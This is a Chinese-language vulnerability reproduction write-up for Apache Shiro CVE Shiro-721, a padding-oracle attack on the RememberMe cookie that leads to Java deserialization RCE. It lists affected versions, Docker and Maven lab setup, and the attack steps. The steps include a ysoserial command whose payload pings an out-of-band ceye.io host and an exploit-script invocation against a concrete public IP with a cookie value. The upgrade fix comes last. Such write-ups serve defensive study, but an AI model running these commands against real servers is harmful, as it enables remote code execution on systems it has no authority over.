Shiro-721 RCE Via Padding Oracle Attack

0x01 漏洞概述

Apache Shiro™（读作“sheeroh”，即日语“城”）是一个开源安全框架，提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用，同时也能提供健壮的安全性。

Shiro使用了AES-128-CBC模式对cookie进行加密，导致恶意用户可以通过Padding Oracle攻击方式构造序列化数据进行反序列化攻击,例如SHIRO-550。(Shiro-721)

0x02 影响版本

1.2.5,  
1.2.6,  
1.3.0,  
1.3.1,  
1.3.2,  
1.4.0-RC2,  
1.4.0,  
1.4.1

0x03 环境搭建

复现环境: Apache Shiro 1.4.1 + tomcat:8-jre8

1. 自行搭建：

可从 Apache Shiro Gtihub 官方仓库自行下载漏洞影响版本(https://github.com/apache/shiro)，使用 Apache Maven(软件项目管理及自动构建工具) 编译构建生成 war Java 应用程序包。

git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.4.1
mvn install

以下几项执行完成以后即可暂停，进而编译 samples/web 下的即可。

[INFO] Apache Shiro ....................................... SUCCESS [  1.630 s]
[INFO] Apache Shiro :: Core ............................... SUCCESS [ 46.175 s]
[INFO] Apache Shiro :: Web ................................ SUCCESS [  3.571 s]

cd samples/web
mvn install

将编译完成获取到的 samples-web-1.4.1.war 包( samples/target/中）拷贝到 Tomcat 的 webapps 目录下，启动tomcat即可。

1. 获取 Dockerfile ：

git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721

0x04 漏洞利用

攻击流程：

1. 登录网站（勾选Remember），并从Cookie中获取合法的RememberMe。
2. 使用RememberMe cookie作为Padding Oracle Attack的前缀。
3. 加密 ysoserial 的序列化 payload，以通过Padding Oracle Attack制作恶意RememberMe。
4. 重放恶意RememberMe cookie，以执行反序列化攻击。

1. 登录 Shiro 测试账户获取合法 Cookie（勾选Remember Me）：

(1) 认证失败时会设置deleteMe的cookie:

(2) 认证成功则不会设置deleteMe的cookie:

根据以上条件我们的思路是在正常序列化数据（需要一个已知的用户凭证获取正常序列化数据）后利用 Padding Oracle 构造我们自己的数据（Java序列化数据后的脏数据不影响反序列化结果），此时会有两中情况:

1. 构造的数据不能通过字符填充验证，返回deleteme;
2. 构造的数据可以成功解密通过字符填充验证，之后数据可以正常反序列化，不返回deleteme的cookie.

2. 使用Java反序列化工具 ysoserial 生成 Payload:

java -jar ysoserial.jar CommonsBeanutils1 "ping 9rtmxe.ceye.io" > payload.class

3. 通过 Padding Oracle Attack 生成 Evil Rememberme cookie:

注意： 此 exp 爆破时间较长，建议使用 ysoserial 生成较短的 payload 验证（eg: ping 、 touch /tmp/success, etc），约 1 个多小时可生成正确的 rememberme cookie，生成成功后将自动停止运行。

python shiro_exp.py
Usage: shiro_exp.py <url> <somecookie value> <payload>
python shiro_exp.py http://47.98.224.70:8080/home.jsp xSEnrD1VPnQ49Tke8d9s7yXyBdKmcZTvF5KZ+8trI5/CQNSwsTJPlfBIEWj4ewouARb8LY4n1BQClrG6+Y5NsyyRhJwjbMKP9DenW7Dd78k9xeWfQZStuyyVsPG3Yq+fAgisJZ706Nzl0Sc2BsoA4COM2Frj5H4Tu3XQr3yer4lQawGdQPT8UCj4XqzuU9xgmmAWzlfEBe0f217/rhFF0dtLogcX7Jw1E0Q5xnoiiEf1Q76ynr/wKb74FqS0UfCHj67lE7yYYd1cjRw4IuM2c/JGppP5rMbuq7Nb5D/UrkMv/Cqv777YbQx90QjGw50v13NPjfoki6lgqwaI+woUh4thZQM6mHHTvE+A2S/a1sNJhYodne/9BQx5iONqjICnGRC5om9IG9XAm+lJ6ED6P1xxSqFNiXWh7JqCFk7YeEwpZoqLYR8EYq+uxqyOwsagOQSYnHVIzNkIcuNcvjBkDtRf37+T/0n0yz/8I3gYL+sV4eOh5ITXpKHTKdprKof4 payload.class

4. 使用Evil Rememberme cookie 认证进行反序列化攻击：

CEYE.io 接收到记录：

0x06 修复方式

更新更新版本的 Apache Shior（1.4.2）即可。

参考链接:

1. SHIRO-721 RememberMe Padding Oracle Vulnerability
2. https://twitter.com/jas502n/status/1187664745437904897?lang=ca
3. https://www.anquanke.com/post/id/192819
4. https://github.com/wuppp/shiro_rce_exp
5. https://github.com/jas502n/SHIRO-721